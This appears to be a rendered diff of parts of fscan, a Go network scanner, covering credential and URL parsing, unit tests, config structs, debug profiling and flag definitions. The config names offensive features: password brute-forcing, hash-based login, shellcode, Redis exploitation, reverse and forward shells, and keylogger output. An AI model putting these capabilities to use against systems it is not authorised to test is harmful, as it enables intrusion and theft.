|
||||
}
|
||||
|
||||
// 解析哈希
|
||||
hashValues, hashBytes, err := parseHashes(fv)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(hashValues) > 0 {
|
||||
cfg.Credentials.HashValues = hashValues
|
||||
cfg.Credentials.HashBytes = hashBytes
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func parseUsernames(fv *FlagVars) ([]string, error) {
|
||||
var usernames []string
|
||||
|
||||
// 命令行用户名
|
||||
if fv.Username != "" {
|
||||
for _, u := range strings.Split(fv.Username, ",") {
|
||||
u = strings.TrimSpace(u)
|
||||
if u != "" {
|
||||
usernames = append(usernames, u)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 从文件读取
|
||||
if fv.UsersFile != "" {
|
||||
if lines, err := parsers.ReadLinesFromFile(fv.UsersFile); err == nil {
|
||||
usernames = append(usernames, lines...)
|
||||
} else {
|
||||
return nil, fmt.Errorf("%s", i18n.Tr("config_read_users_failed", fv.UsersFile, err))
|
||||
}
|
||||
}
|
||||
|
||||
// 额外用户名
|
||||
if fv.AddUsers != "" {
|
||||
for _, u := range strings.Split(fv.AddUsers, ",") {
|
||||
u = strings.TrimSpace(u)
|
||||
if u != "" {
|
||||
usernames = append(usernames, u)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return removeDuplicate(usernames), nil
|
||||
}
|
||||
|
||||
func parsePasswords(fv *FlagVars) ([]string, error) {
|
||||
var passwords []string
|
||||
|
||||
// 命令行密码
|
||||
if fv.Password != "" {
|
||||
passwords = append(passwords, fv.Password)
|
||||
}
|
||||
|
||||
// 从文件读取
|
||||
if fv.PasswordsFile != "" {
|
||||
if lines, err := parsers.ReadLinesFromFile(fv.PasswordsFile); err == nil {
|
||||
passwords = append(passwords, lines...)
|
||||
} else {
|
||||
return nil, fmt.Errorf("%s", i18n.Tr("config_read_passwords_failed", fv.PasswordsFile, err))
|
||||
}
|
||||
}
|
||||
|
||||
// 额外密码
|
||||
if fv.AddPasswords != "" {
|
||||
passwords = append(passwords, splitCredentialValues(fv.AddPasswords)...)
|
||||
}
|
||||
|
||||
return removeDuplicate(passwords), nil
|
||||
}
|
||||
|
||||
func splitCredentialValues(input string) []string {
|
||||
fields := strings.FieldsFunc(input, func(r rune) bool {
|
||||
return r == ',' || r == ' ' || r == '\t' || r == '\n' || r == '\r'
|
||||
})
|
||||
|
||||
values := make([]string, 0, len(fields))
|
||||
for _, field := range fields {
|
||||
field = strings.TrimSpace(field)
|
||||
if field != "" {
|
||||
values = append(values, field)
|
||||
}
|
||||
}
|
||||
return values
|
||||
}
|
||||
|
||||
func parseUserPassPairs(fv *FlagVars) ([]config.CredentialPair, error) {
|
||||
var pairs []config.CredentialPair
|
||||
|
||||
// 如果命令行同时指定了单个用户名和单个密码(不是逗号分隔的多个)
|
||||
if fv.Username != "" && fv.Password != "" &&
|
||||
!strings.Contains(fv.Username, ",") && !strings.Contains(fv.Password, ",") &&
|
||||
fv.UsersFile == "" && fv.PasswordsFile == "" && fv.UserPassFile == "" {
|
||||
pairs = append(pairs, config.CredentialPair{
|
||||
Username: strings.TrimSpace(fv.Username),
|
||||
Password: fv.Password,
|
||||
})
|
||||
return pairs, nil
|
||||
}
|
||||
|
||||
// 从文件读取用户密码对
|
||||
if fv.UserPassFile != "" {
|
||||
filePairs, err := parsers.ParseUserPassFile(fv.UserPassFile)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
pairs = append(pairs, filePairs...)
|
||||
}
|
||||
|
||||
return pairs, nil
|
||||
}
|
||||
|
||||
func parseHashes(fv *FlagVars) ([]string, [][]byte, error) {
|
||||
var hashValues []string
|
||||
var hashBytes [][]byte
|
||||
|
||||
// 命令行哈希
|
||||
if fv.HashValue != "" {
|
||||
hash := strings.TrimSpace(fv.HashValue)
|
||||
if len(hash) != 32 {
|
||||
return nil, nil, fmt.Errorf("invalid hash length: %s", hash)
|
||||
}
|
||||
hashByte, err := hex.DecodeString(hash)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
hashValues = append(hashValues, hash)
|
||||
hashBytes = append(hashBytes, hashByte)
|
||||
}
|
||||
|
||||
// 从文件读取
|
||||
if fv.HashFile != "" {
|
||||
fileHashes, fileHashBytes, err := parsers.ParseHashFile(fv.HashFile)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
hashValues = append(hashValues, fileHashes...)
|
||||
hashBytes = append(hashBytes, fileHashBytes...)
|
||||
}
|
||||
|
||||
return hashValues, hashBytes, nil
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 目标解析
|
||||
// =============================================================================
|
||||
|
||||
func parseTargets(fv *FlagVars, info *HostInfo, cfg *Config, state *State) error {
|
||||
// 检查是否为 host:port 格式
|
||||
ports := fv.Ports
|
||||
if info.Host != "" && strings.Contains(info.Host, ":") {
|
||||
if _, portStr, err := net.SplitHostPort(info.Host); err == nil {
|
||||
if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= 1 && port <= 65535 {
|
||||
// 有效的 host:port 格式
|
||||
state.SetHostPorts([]string{info.Host})
|
||||
info.Host = ""
|
||||
ports = "" // 清空端口,避免双重扫描
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 解析 URL
|
||||
urls, err := parseURLs(fv)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(urls) > 0 {
|
||||
state.SetURLs(urls)
|
||||
if info.URL == "" && len(urls) == 1 {
|
||||
info.URL = urls[0]
|
||||
}
|
||||
}
|
||||
|
||||
// 更新端口配置
|
||||
if ports != "" {
|
||||
cfg.Target.Ports = ports
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func parseURLs(fv *FlagVars) ([]string, error) {
|
||||
var urls []string
|
||||
|
||||
// 命令行 URL
|
||||
if fv.TargetURL != "" {
|
||||
for _, u := range strings.Split(fv.TargetURL, ",") {
|
||||
u = strings.TrimSpace(u)
|
||||
if u != "" {
|
||||
urls = append(urls, normalizeURL(u))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 从文件读取
|
||||
if fv.URLsFile != "" {
|
||||
if lines, err := parsers.ReadLinesFromFile(fv.URLsFile); err == nil {
|
||||
for _, line := range lines {
|
||||
urls = append(urls, normalizeURL(line))
|
||||
}
|
||||
} else {
|
||||
return nil, fmt.Errorf("%s", i18n.Tr("config_read_urls_failed", fv.URLsFile, err))
|
||||
}
|
||||
}
|
||||
|
||||
return removeDuplicate(urls), nil
|
||||
}
|
||||
|
||||
func normalizeURL(rawURL string) string {
|
||||
rawURL = strings.TrimSpace(rawURL)
|
||||
if rawURL == "" {
|
||||
return rawURL
|
||||
}
|
||||
lowerURL := strings.ToLower(rawURL)
|
||||
if !strings.HasPrefix(lowerURL, "http://") && !strings.HasPrefix(lowerURL, "https://") {
|
||||
return "http://" + rawURL
|
||||
}
|
||||
return rawURL
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 日志级别应用
|
||||
// =============================================================================
|
||||
|
||||
func applyLogLevelFromConfig(fv *FlagVars) {
|
||||
if fv.LogLevel == "" {
|
||||
return
|
||||
}
|
||||
// 调用已有的 applyLogLevel 函数
|
||||
applyLogLevel()
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 辅助函数
|
||||
// =============================================================================
|
||||
|
||||
func removeDuplicate(old []string) []string {
|
||||
if len(old) <= 1 {
|
||||
return old
|
||||
}
|
||||
|
||||
temp := make(map[string]struct{}, len(old))
|
||||
result := make([]string, 0, len(old))
|
||||
|
||||
for _, item := range old {
|
||||
if _, exists := temp[item]; !exists {
|
||||
temp[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 保留 BuildConfigFromFlags 的原有实现(从 flag_config.go 移入)
|
||||
// =============================================================================
|
||||
|
||||
// BuildConfigFromFlags 已在 flag_config.go 中定义,这里不重复
|
||||
@@ -0,0 +1,75 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestParsePasswordsKeepsPrimaryPasswordLiteral(t *testing.T) {
|
||||
fv := &FlagVars{
|
||||
Password: "root admin",
|
||||
AddPasswords: "pass1 pass2,pass3\tpass4",
|
||||
}
|
||||
|
||||
got, err := parsePasswords(fv)
|
||||
if err != nil {
|
||||
t.Fatalf("parsePasswords error = %v", err)
|
||||
}
|
||||
want := []string{"root admin", "pass1", "pass2", "pass3", "pass4"}
|
||||
if !reflect.DeepEqual(got, want) {
|
||||
t.Fatalf("parsePasswords() = %#v, want %#v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildConfigReturnsUserFileError(t *testing.T) {
|
||||
_, _, err := BuildConfig(&FlagVars{UsersFile: "missing-users-file.txt"}, &HostInfo{})
|
||||
if err == nil {
|
||||
t.Fatal("BuildConfig should fail for missing users file")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildConfigReturnsPasswordFileError(t *testing.T) {
|
||||
_, _, err := BuildConfig(&FlagVars{PasswordsFile: "missing-passwords-file.txt"}, &HostInfo{})
|
||||
if err == nil {
|
||||
t.Fatal("BuildConfig should fail for missing passwords file")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildConfigReturnsURLFileError(t *testing.T) {
|
||||
_, _, err := BuildConfig(&FlagVars{URLsFile: "missing-urls-file.txt"}, &HostInfo{})
|
||||
if err == nil {
|
||||
t.Fatal("BuildConfig should fail for missing urls file")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildConfigRejectsInvalidHashValue(t *testing.T) {
|
||||
_, _, err := BuildConfig(&FlagVars{HashValue: "not-md5"}, &HostInfo{})
|
||||
if err == nil {
|
||||
t.Fatal("BuildConfig should fail for invalid hash value")
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseTargetsHostPortDoesNotLeaveSyntheticHost(t *testing.T) {
|
||||
fv := &FlagVars{Ports: "22"}
|
||||
info := &HostInfo{Host: "127.0.0.1:8080"}
|
||||
cfg := BuildConfigFromFlags(fv)
|
||||
state := NewState()
|
||||
|
||||
if err := parseTargets(fv, info, cfg, state); err != nil {
|
||||
t.Fatalf("parseTargets error = %v", err)
|
||||
}
|
||||
|
||||
if info.Host != "" {
|
||||
t.Fatalf("info.Host = %q, want empty after host:port extraction", info.Host)
|
||||
}
|
||||
if got := state.GetHostPorts(); !reflect.DeepEqual(got, []string{"127.0.0.1:8080"}) {
|
||||
t.Fatalf("hostPorts = %#v, want host:port target", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeURLKeepsUppercaseScheme(t *testing.T) {
|
||||
got := normalizeURL("HTTPS://example.com")
|
||||
if got != "HTTPS://example.com" {
|
||||
t.Fatalf("normalizeURL() = %q", got)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,188 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/config"
|
||||
)
|
||||
|
||||
/*
|
||||
config_struct.go - 配置结构体定义
|
||||
|
||||
简化后的结构:
|
||||
- 高频字段平铺到顶层
|
||||
- 子配置使用值类型(非指针)
|
||||
- 删除过度分类的 AdvancedConfig
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// Config - 扫描器配置
|
||||
// =============================================================================
|
||||
|
||||
// Config 扫描器完整配置 - 初始化后只读,可安全共享
|
||||
type Config struct {
|
||||
// 高频访问字段 - 平铺到顶层
|
||||
Timeout time.Duration // 通用超时
|
||||
ThreadNum int // 主线程数
|
||||
ModuleThreadNum int // 模块线程数
|
||||
DisableBrute bool // 禁用暴力破解
|
||||
DisablePing bool // 禁用Ping检测
|
||||
DisableTcpProbe bool // 禁用TCP补充探测
|
||||
|
||||
// 扫描模式
|
||||
Mode string // 扫描模式
|
||||
LocalMode bool // 本地模式
|
||||
LocalPlugin string // 本地插件名
|
||||
AliveOnly bool // 仅存活检测
|
||||
MaxRetries int // 最大重试次数
|
||||
|
||||
// 高级功能(从AdvancedConfig合并)
|
||||
Shellcode string // Shellcode
|
||||
LocalPluginsList []string // 本地插件列表
|
||||
DNSLog bool // DNSLog检测
|
||||
PersistenceTargetFile string // 持久化目标文件
|
||||
WinPEFile string // WinPE文件
|
||||
PortMap map[int][]string // 端口映射
|
||||
DefaultMap []string // 默认映射
|
||||
|
||||
// 分组配置 - 值类型
|
||||
Credentials CredentialConfig
|
||||
Network NetworkConfig
|
||||
Output OutputConfig
|
||||
POC POCConfig
|
||||
Redis RedisConfig
|
||||
HTTP HTTPConfig
|
||||
LocalExploit LocalExploitConfig
|
||||
Target TargetConfig // 扫描目标配置
|
||||
|
||||
// SOCKS5代理端口配置
|
||||
Socks5ProxyPort int // SOCKS5代理端口
|
||||
}
|
||||
|
||||
// TargetConfig 扫描目标配置
|
||||
type TargetConfig struct {
|
||||
Ports string // 端口范围字符串
|
||||
ExcludePorts string // 排除端口字符串
|
||||
}
|
||||
|
||||
// CredentialConfig 认证相关配置
|
||||
type CredentialConfig struct {
|
||||
Username string
|
||||
Password string
|
||||
Domain string
|
||||
Userdict map[string][]string
|
||||
Passwords []string
|
||||
UserPassPairs []config.CredentialPair
|
||||
HashValues []string
|
||||
HashBytes [][]byte
|
||||
SSHKeyPath string
|
||||
}
|
||||
|
||||
// NetworkConfig 网络相关配置
|
||||
type NetworkConfig struct {
|
||||
HTTPProxy string
|
||||
Socks5Proxy string
|
||||
Iface string
|
||||
WebTimeout time.Duration
|
||||
MaxRedirects int
|
||||
PacketRateLimit int64
|
||||
MaxPacketCount int64
|
||||
ICMPRate float64
|
||||
}
|
||||
|
||||
// OutputConfig 输出相关配置
|
||||
type OutputConfig struct {
|
||||
File string
|
||||
Format string
|
||||
DisableSave bool
|
||||
NoColor bool
|
||||
Silent bool
|
||||
DisableProgress bool
|
||||
ShowProgress bool
|
||||
LogLevel string
|
||||
Language string
|
||||
PerfStats bool
|
||||
}
|
||||
|
||||
// POCConfig POC扫描相关配置
|
||||
type POCConfig struct {
|
||||
PocPath string // POC路径
|
||||
PocName string // 指定POC名称
|
||||
Full bool // 完整POC扫描
|
||||
Num int // POC并发数
|
||||
Disabled bool // 禁用POC扫描
|
||||
}
|
||||
|
||||
// RedisConfig Redis利用相关配置
|
||||
type RedisConfig struct {
|
||||
Disabled bool // 禁用Redis利用
|
||||
File string // SSH密钥文件
|
||||
Shell string // 反弹Shell地址
|
||||
WritePath string // 写入路径
|
||||
WriteContent string // 写入内容
|
||||
WriteFile string // 本地文件路径
|
||||
}
|
||||
|
||||
// HTTPConfig HTTP请求相关配置
|
||||
type HTTPConfig struct {
|
||||
Cookie string // Cookie
|
||||
UserAgent string // User-Agent
|
||||
Accept string // Accept头
|
||||
}
|
||||
|
||||
// LocalExploitConfig 本地利用相关配置
|
||||
type LocalExploitConfig struct {
|
||||
ReverseShellTarget string // 反弹Shell目标
|
||||
ForwardShellPort int // 正向Shell端口
|
||||
KeyloggerOutputFile string // 键盘记录输出文件
|
||||
DownloadURL string // 下载URL
|
||||
DownloadSavePath string // 下载保存路径
|
||||
}
|
||||
|
||||
// NewConfig 创建带默认值的Config(后备用,正常流程使用BuildConfigFromFlags)
|
||||
func NewConfig() *Config {
|
||||
return &Config{
|
||||
// 高频字段 - 使用默认常量
|
||||
Timeout: time.Duration(DefaultTimeout) * time.Second,
|
||||
ThreadNum: DefaultThreadNum,
|
||||
ModuleThreadNum: 10,
|
||||
DisableBrute: false,
|
||||
DisablePing: false,
|
||||
DisableTcpProbe: false,
|
||||
|
||||
// 扫描模式
|
||||
Mode: DefaultScanMode,
|
||||
LocalMode: false,
|
||||
AliveOnly: false,
|
||||
MaxRetries: 3,
|
||||
|
||||
// 高级功能 - 使用默认配置
|
||||
PortMap: config.DefaultPortMap,
|
||||
DefaultMap: config.DefaultProbeMap,
|
||||
|
||||
// 分组配置 - 使用默认字典
|
||||
Credentials: CredentialConfig{
|
||||
Userdict: config.DefaultUserDict,
|
||||
Passwords: config.DefaultPasswords,
|
||||
UserPassPairs: nil,
|
||||
},
|
||||
Network: NetworkConfig{
|
||||
WebTimeout: time.Duration(5) * time.Second,
|
||||
MaxRedirects: 10,
|
||||
ICMPRate: 0.1,
|
||||
},
|
||||
Output: OutputConfig{
|
||||
File: "result.txt",
|
||||
Format: "txt",
|
||||
ShowProgress: true,
|
||||
LogLevel: DefaultLogLevel,
|
||||
Language: DefaultLanguage,
|
||||
},
|
||||
POC: POCConfig{
|
||||
Num: 20,
|
||||
},
|
||||
LocalExploit: LocalExploitConfig{
|
||||
ForwardShellPort: 4444,
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,102 @@
|
||||
//go:build debug
|
||||
// +build debug
|
||||
|
||||
package debug
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime"
|
||||
"runtime/pprof"
|
||||
"runtime/trace"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
)
|
||||
|
||||
var (
|
||||
cpuProfile *os.File
|
||||
traceFile *os.File
|
||||
profilesPath = "./profiles"
|
||||
)
|
||||
|
||||
func Start() {
|
||||
if err := os.MkdirAll(profilesPath, 0755); err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_profiles_failed", err))
|
||||
return
|
||||
}
|
||||
|
||||
var err error
|
||||
cpuProfile, err = os.Create(profilesPath + "/cpu.prof")
|
||||
if err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_cpu_profile_failed", err))
|
||||
} else {
|
||||
if err := pprof.StartCPUProfile(cpuProfile); err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_start_cpu_profile_failed", err))
|
||||
cpuProfile.Close()
|
||||
cpuProfile = nil
|
||||
} else {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_cpu_profile_started", profilesPath))
|
||||
}
|
||||
}
|
||||
|
||||
traceFile, err = os.Create(profilesPath + "/trace.out")
|
||||
if err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_trace_failed", err))
|
||||
} else {
|
||||
if err := trace.Start(traceFile); err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_start_trace_failed", err))
|
||||
traceFile.Close()
|
||||
traceFile = nil
|
||||
} else {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_trace_started", profilesPath))
|
||||
}
|
||||
}
|
||||
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_profiling_started", profilesPath))
|
||||
}
|
||||
|
||||
func Stop() {
|
||||
if cpuProfile != nil {
|
||||
pprof.StopCPUProfile()
|
||||
cpuProfile.Close()
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_cpu_profile_saved"))
|
||||
}
|
||||
|
||||
if traceFile != nil {
|
||||
trace.Stop()
|
||||
traceFile.Close()
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_trace_saved"))
|
||||
}
|
||||
|
||||
memProfile, err := os.Create(profilesPath + "/mem.prof")
|
||||
if err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_mem_profile_failed", err))
|
||||
} else {
|
||||
runtime.GC()
|
||||
if err := pprof.WriteHeapProfile(memProfile); err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_write_mem_profile_failed", err))
|
||||
} else {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_mem_profile_saved", profilesPath))
|
||||
}
|
||||
memProfile.Close()
|
||||
}
|
||||
|
||||
goroutineProfile, err := os.Create(profilesPath + "/goroutine.prof")
|
||||
if err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_goroutine_profile_failed", err))
|
||||
} else {
|
||||
if err := pprof.Lookup("goroutine").WriteTo(goroutineProfile, 0); err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_write_goroutine_profile_failed", err))
|
||||
} else {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_goroutine_profile_saved", profilesPath))
|
||||
}
|
||||
goroutineProfile.Close()
|
||||
}
|
||||
|
||||
fmt.Printf("\n[DEBUG] %s\n", i18n.Tr("debug_profiles_saved", profilesPath))
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_view_methods"))
|
||||
fmt.Printf(" %s: go tool pprof -http=:8081 %s/cpu.prof\n", i18n.GetText("debug_cpu_flamegraph"), profilesPath)
|
||||
fmt.Printf(" %s: go tool pprof -http=:8081 %s/mem.prof\n", i18n.GetText("debug_mem_flamegraph"), profilesPath)
|
||||
fmt.Printf(" %s: go tool pprof -http=:8081 %s/goroutine.prof\n", i18n.GetText("debug_goroutine_analysis"), profilesPath)
|
||||
fmt.Printf(" %s: go tool trace %s/trace.out\n", i18n.GetText("debug_execution_timeline"), profilesPath)
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
//go:build !debug
|
||||
// +build !debug
|
||||
|
||||
package debug
|
||||
|
||||
// 生产版本:pprof 完全不编译进来
|
||||
|
||||
func Start() {}
|
||||
func Stop() {}
|
||||
@@ -0,0 +1,28 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"net"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// DNSCache 并发安全的 DNS 解析缓存
|
||||
// 对纯 IP 输入零开销(直接返回),对域名避免重复系统调用
|
||||
var DNSCache = &dnsCache{}
|
||||
|
||||
type dnsCache struct {
|
||||
m sync.Map // host -> *net.IPAddr
|
||||
}
|
||||
|
||||
// ResolveIP 解析 host 为 *net.IPAddr,结果缓存
|
||||
func (c *dnsCache) ResolveIP(host string) (*net.IPAddr, error) {
|
||||
if v, ok := c.m.Load(host); ok {
|
||||
addr, _ := v.(*net.IPAddr)
|
||||
return addr, nil
|
||||
}
|
||||
addr, err := net.ResolveIPAddr("ip", host)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
c.m.Store(host, addr)
|
||||
return addr, nil
|
||||
}
|
||||
+378
@@ -0,0 +1,378 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/fatih/color"
|
||||
"github.com/shadow1ng/fscan/common/config"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
)
|
||||
|
||||
// ErrShowHelp 表示用户请求显示帮助(正常退出)
|
||||
var ErrShowHelp = errors.New("show help requested")
|
||||
|
||||
// IsLocalMode 由 plugins 包注册,判断 -m 指定的是否全是本地插件
|
||||
var IsLocalMode func(mode string) bool
|
||||
|
||||
// Banner 显示程序横幅信息
|
||||
func Banner() {
|
||||
// 静默模式下完全跳过Banner显示
|
||||
if flagVars.Silent {
|
||||
return
|
||||
}
|
||||
|
||||
// 定义暗绿色系
|
||||
colors := []color.Attribute{
|
||||
color.FgGreen, // 基础绿
|
||||
color.FgHiGreen, // 亮绿
|
||||
}
|
||||
|
||||
lines := []string{
|
||||
" ___ _ ",
|
||||
" / _ \\ ___ ___ _ __ __ _ ___| | __ ",
|
||||
" / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /",
|
||||
"/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ",
|
||||
"\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ",
|
||||
}
|
||||
|
||||
// 获取最长行的长度
|
||||
maxLength := 0
|
||||
for _, line := range lines {
|
||||
if len(line) > maxLength {
|
||||
maxLength = len(line)
|
||||
}
|
||||
}
|
||||
|
||||
// 创建边框
|
||||
topBorder := "┌" + strings.Repeat("─", maxLength+2) + "┐"
|
||||
bottomBorder := "└" + strings.Repeat("─", maxLength+2) + "┘"
|
||||
|
||||
// 打印banner
|
||||
fmt.Println(topBorder)
|
||||
|
||||
for lineNum, line := range lines {
|
||||
fmt.Print("│ ")
|
||||
if flagVars.NoColor {
|
||||
// 无色彩模式下使用普通文本
|
||||
fmt.Print(line)
|
||||
} else {
|
||||
// 使用对应的颜色打印每个字符
|
||||
c := color.New(colors[lineNum%2])
|
||||
_, _ = c.Print(line)
|
||||
}
|
||||
// 补齐空格
|
||||
padding := maxLength - len(line)
|
||||
fmt.Printf("%s │\n", strings.Repeat(" ", padding))
|
||||
}
|
||||
|
||||
fmt.Println(bottomBorder)
|
||||
|
||||
// 打印版本信息
|
||||
versionStr := fmt.Sprintf(" Fscan %s (%s %s)", version, commit, date)
|
||||
if commit == "unknown" {
|
||||
versionStr = fmt.Sprintf(" Fscan %s", version)
|
||||
}
|
||||
if flagVars.NoColor {
|
||||
fmt.Printf("%s\n\n", versionStr)
|
||||
} else {
|
||||
c := color.New(colors[1])
|
||||
_, _ = c.Printf("%s\n\n", versionStr)
|
||||
}
|
||||
}
|
||||
|
||||
// Flag 解析命令行参数并配置扫描选项
|
||||
// 返回ErrShowHelp表示用户请求帮助(正常退出),其他error表示参数错误
|
||||
func Flag(Info *HostInfo) error {
|
||||
// 预处理语言设置 - 在定义flag之前检查lang参数
|
||||
preProcessLanguage()
|
||||
|
||||
fv := flagVars // 使用全局 FlagVars 实例
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 目标配置参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&Info.Host, "h", "", i18n.GetText("flag_host"))
|
||||
flag.StringVar(&fv.ExcludeHosts, "eh", "", i18n.GetText("flag_exclude_hosts"))
|
||||
flag.StringVar(&fv.ExcludeHostsFile, "ehf", "", i18n.GetText("flag_exclude_hosts_file"))
|
||||
flag.StringVar(&fv.Ports, "p", config.MainPorts, i18n.GetText("flag_ports"))
|
||||
flag.StringVar(&fv.ExcludePorts, "ep", "", i18n.GetText("flag_exclude_ports"))
|
||||
flag.StringVar(&fv.HostsFile, "hf", "", i18n.GetText("flag_hosts_file"))
|
||||
flag.StringVar(&fv.PortsFile, "pf", "", i18n.GetText("flag_ports_file"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 扫描控制参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.ScanMode, "m", "all", i18n.GetText("flag_scan_mode"))
|
||||
flag.IntVar(&fv.ThreadNum, "t", 600, i18n.GetText("flag_thread_num"))
|
||||
flag.Int64Var(&fv.TimeoutSec, "time", 3, i18n.GetText("flag_timeout"))
|
||||
flag.IntVar(&fv.ModuleThreadNum, "mt", 20, i18n.GetText("flag_module_thread_num"))
|
||||
flag.Int64Var(&fv.GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout"))
|
||||
flag.BoolVar(&fv.DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
|
||||
flag.BoolVar(&fv.DisableTcpProbe, "ntp", false, i18n.GetText("flag_disable_tcp_probe"))
|
||||
flag.StringVar(&fv.LocalPlugin, "local", "", i18n.GetText("flag_local_plugin"))
|
||||
flag.BoolVar(&fv.AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 认证与凭据参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.Username, "user", "", i18n.GetText("flag_username"))
|
||||
flag.StringVar(&fv.Password, "pwd", "", i18n.GetText("flag_password"))
|
||||
flag.StringVar(&fv.AddUsers, "usera", "", i18n.GetText("flag_add_users"))
|
||||
flag.StringVar(&fv.AddPasswords, "pwda", "", i18n.GetText("flag_add_passwords"))
|
||||
flag.StringVar(&fv.UsersFile, "userf", "", i18n.GetText("flag_users_file"))
|
||||
flag.StringVar(&fv.PasswordsFile, "pwdf", "", i18n.GetText("flag_passwords_file"))
|
||||
flag.StringVar(&fv.UserPassFile, "upf", "", i18n.GetText("flag_userpass_file"))
|
||||
flag.StringVar(&fv.HashFile, "hashf", "", i18n.GetText("flag_hash_file"))
|
||||
flag.StringVar(&fv.HashValue, "hash", "", i18n.GetText("flag_hash_value"))
|
||||
flag.StringVar(&fv.Domain, "domain", "", i18n.GetText("flag_domain"))
|
||||
flag.StringVar(&fv.SSHKeyPath, "sshkey", "", i18n.GetText("flag_ssh_key"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// Web扫描参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.TargetURL, "u", "", i18n.GetText("flag_target_url"))
|
||||
flag.StringVar(&fv.URLsFile, "uf", "", i18n.GetText("flag_urls_file"))
|
||||
flag.StringVar(&fv.Cookie, "cookie", "", i18n.GetText("flag_cookie"))
|
||||
flag.Int64Var(&fv.WebTimeout, "wt", 5, i18n.GetText("flag_web_timeout"))
|
||||
flag.IntVar(&fv.MaxRedirects, "max-redirect", 10, i18n.GetText("flag_max_redirects"))
|
||||
flag.StringVar(&fv.HTTPProxy, "proxy", "", i18n.GetText("flag_http_proxy"))
|
||||
flag.StringVar(&fv.Socks5Proxy, "socks5", "", i18n.GetText("flag_socks5_proxy"))
|
||||
flag.StringVar(&fv.Iface, "iface", "", i18n.GetText("flag_iface"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// POC测试参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.PocPath, "pocpath", "", i18n.GetText("flag_poc_path"))
|
||||
flag.StringVar(&fv.PocName, "pocname", "", i18n.GetText("flag_poc_name"))
|
||||
flag.BoolVar(&fv.PocFull, "full", false, i18n.GetText("flag_poc_full"))
|
||||
flag.BoolVar(&fv.DNSLog, "dns", false, i18n.GetText("flag_dns_log"))
|
||||
